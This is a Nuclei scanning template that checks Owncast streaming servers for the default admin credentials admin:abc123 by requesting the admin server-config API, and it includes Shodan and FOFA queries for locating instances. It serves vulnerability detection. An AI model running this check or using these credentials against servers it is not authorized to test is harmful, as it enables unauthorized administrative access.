owncast-default-login: Owncast - Default Credentials

2026-04-09 Owncast PoC Public

Description

Detected Owncast using default admin credentials admin:abc123. The admin API was accessible via HTTP Basic authentication, allowing full server configuration access.

PoC

id: owncast-default-login

info:
  name: Owncast - Default Credentials
  author: 0x_Akoko
  severity: high
  description: |
    Detected Owncast using default admin credentials admin:abc123. The admin API was accessible via HTTP Basic authentication, allowing full server configuration access.
  reference:
    - https://owncast.online/docs/configuration/
    - https://owncast.online/quickstart/configure/
  metadata:
    max-request: 2
    verified: true
    shodan-query: http.title:"Owncast"
    fofa-query: app="Owncast"
  tags: default-login,owncast,streaming,admin,vuln

variables:
  username: admin
  password: abc123

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/status HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "versionNumber", "online")'
          - 'contains(content_type, "application/json")'
        condition: and

  - raw:
      - |
        GET /api/admin/serverconfig HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ":" + password)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "instanceDetails", "ffmpegPath")'
          - 'contains(content_type, "application/json")'
        condition: and
# digest: 490a0046304402206df23179e55e671cf907cf48f873ec2562ee83a233f9bc772b39632b3da5c93d022064a9bca13ad3577539ec6dfb500e3dac150899795ca1c1e9504c17e92d8e4896:922c64590222798bb761d5b6d8e72950

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